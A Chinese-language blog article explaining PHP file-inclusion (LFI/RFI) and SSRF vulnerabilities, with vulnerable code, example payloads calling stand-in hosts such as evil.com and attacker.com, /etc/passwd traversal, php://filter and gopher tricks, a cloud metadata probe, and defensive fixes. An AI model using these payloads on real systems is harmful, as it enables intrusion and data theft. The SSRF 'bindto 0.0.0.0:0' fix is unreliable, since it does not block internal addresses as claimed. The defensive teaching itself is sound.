当前位置: 首页 > news >正文

PHP安全漏洞深度解析:文件包含与SSRF攻击的攻防实战

一、文件包含漏洞:被忽视的“致命开关”

漏洞原理
PHP的includerequire等函数在动态加载文件时,若未对路径参数做严格校验,攻击者可操控文件路径实现恶意操作:

// 危险代码示例(用户控制$_GET['page'])
include($_GET['page'] . '.php');

攻击者通过构造参数:?page=http://evil.com/shell 可执行远程恶意脚本(需allow_url_include=On)。

攻击分类

  1. 本地文件包含(LFI)
    ?page=../../etc/passwd
    可读取服务器敏感文件,甚至结合文件上传获取Webshell。
  2. 远程文件包含(RFI)
    ?page=http://attacker.com/backdoor.txt
    直接加载远程恶意代码,实现服务器沦陷。

高级利用技巧

  • 日志注入攻击:包含/var/log/apache2/access.log,在User-Agent中插入PHP代码执行

  • PHP伪协议利用

    ?page=php://filter/convert.base64-encode/resource=config.php
    

    绕过死亡exit,读取加密文件源码。


二、SSRF攻击:穿透边界的“内网匕首”

漏洞本质
服务端请求伪造(SSRF)利用服务端发起未经授权的HTTP请求,突破网络隔离攻击内网系统:

// 危险代码示例(用户控制URL参数)
file_get_contents($_GET['url']);

致命利用场景

  1. 攻击内网应用
    url=http://192.168.1.100:8080/admin/deleteAll
    删除内网管理后台数据。
  2. 协议滥用
    • file://协议:读取本地文件(?url=file:///etc/passwd
    • gopher://协议:发送任意TCP流量,攻击Redis/Memcached等

真实案例:2023年某电商SSRF→Redis RCE

攻击链:  
SSRF → 内网未授权Redis → 写SSH公钥 → 服务器Root权限丢失

三、联合攻击:文件包含+SSRF的致命组合

利用场景
当存在文件包含且allow_url_include=On时:

include($_GET['file']);  // 参数?file=http://127.0.0.1:8080

通过SSRF构造指向内网服务的URL,实现:

  1. 读取内网敏感文件(file://协议)
  2. 触发内网应用的未授权接口

四、深度防御方案:从代码到架构

文件包含漏洞修复

// 方案1:白名单控制
$allowed = ['home','news','about'];
if(in_array($_GET['page'], $allowed)) {include($_GET['page'].'.php');
} else {die('Invalid request!');
}// 方案2:禁用远程包含
; php.ini配置
allow_url_include = Off
allow_url_fopen = Off

SSRF多层次防御

// 方案1:协议白名单 + DNS重绑定防护
$parsed = parse_url($_GET['url']);
if(!in_array($parsed['scheme'], ['http','https'])) {die("Protocol forbidden!");
}// 方案2:请求目标限制(PHP 7.1+)
$context = stream_context_create(['socket' => ['bindto' => '0.0.0.0:0'], // 禁止访问内网IP'http' => ['follow_location' => false] // 禁用跳转
]);
file_get_contents($url, false, $context);

架构级防护

  1. 网络隔离:关键内网服务设置防火墙白名单
  2. 请求代理:所有出站请求经安全网关过滤
  3. 权限最小化:Web服务器用户禁止访问敏感目录

五、开发者自查清单
  1. 所有包含操作是否使用固定后缀(如.php)?
  2. 是否禁用allow_url_includeallow_url_fopen
  3. 网络请求函数是否过滤file://gopher://等危险协议?
  4. 内网服务是否开启身份认证?

深度防御箴言“永远不要信任用户输入,即使是间接输入!” 通过参数白名单、上下文隔离、纵深防御三层机制,可有效遏制此类漏洞。


附录:漏洞测试Payload

# LFI测试
?page=../../../../etc/passwd%00# SSRF测试(探测内网)
?url=http://169.254.169.254/latest/meta-data

本文提供完整防御代码示例及攻击流程图解(可联系获取),建议结合自动化扫描工具(如PHPStan)持续检测。

http://www.lryc.cn/news/589201.html

相关文章:

  • Azure FXmsv2 系列与 Azure FXmdsv2 系列虚拟机正式发布
  • 606. 二叉树创建字符串
  • Java全栈工程师面试实录:从电商支付到AI大模型的应用场景与技术栈解析
  • Android 获取 UserAgent (UA) 的三种方式深度解析:差异、风险与最佳实践
  • C++中的模板参数 vs 函数参数:编译期与运行期的分界线
  • X 射线探伤证考试核心:辐射安全基础知识点梳理
  • 如何正确分配及设置香港站群服务器IP?
  • 创客匠人:创始人 IP 的破局思维,重构知识变现的深层逻辑
  • LeetCode--46.全排列
  • 梳理Bean的创建流程
  • keeplived双击热备配置
  • 【高并发服务器】多路复用的总结 eventfd timerfd
  • 在Autodl服务器中使用VNC建立图形界面
  • JavaBean
  • 【亲测有效】ubuntu20.04服务器新建用户+vnc配置教程
  • 域名转发设置
  • linux 内核: 遍历当前所有进程
  • 演示扩展卡尔曼滤波在无人驾驶多传感器融合中的应用
  • Wiz笔记二次开发
  • 使用LNMP一键安装包安装PHP、Nginx、Redis、Swoole、OPcache
  • 可微分3D高斯溅射(3DGS)在医学图像三维重建中的应用
  • vllm本地部署qwen3-4b
  • 2.【C# in .NET】探秘数据类型:从底层机制到实战启示
  • 简单2步配置CadenceSkill开发编辑器,支持关键字高亮
  • 正则表达式使用示例
  • Ajax接收java后端传递的json对象包含长整型被截断导致丢失精度的解决方案
  • Flink SQL 性能优化实战
  • Nginx的反向代理
  • 光米投影 多余之物的本思
  • IPM31主板E3300usb键盘鼠标安装成功Sata接口硬盘IDE模式server2003-nt-5.2.3790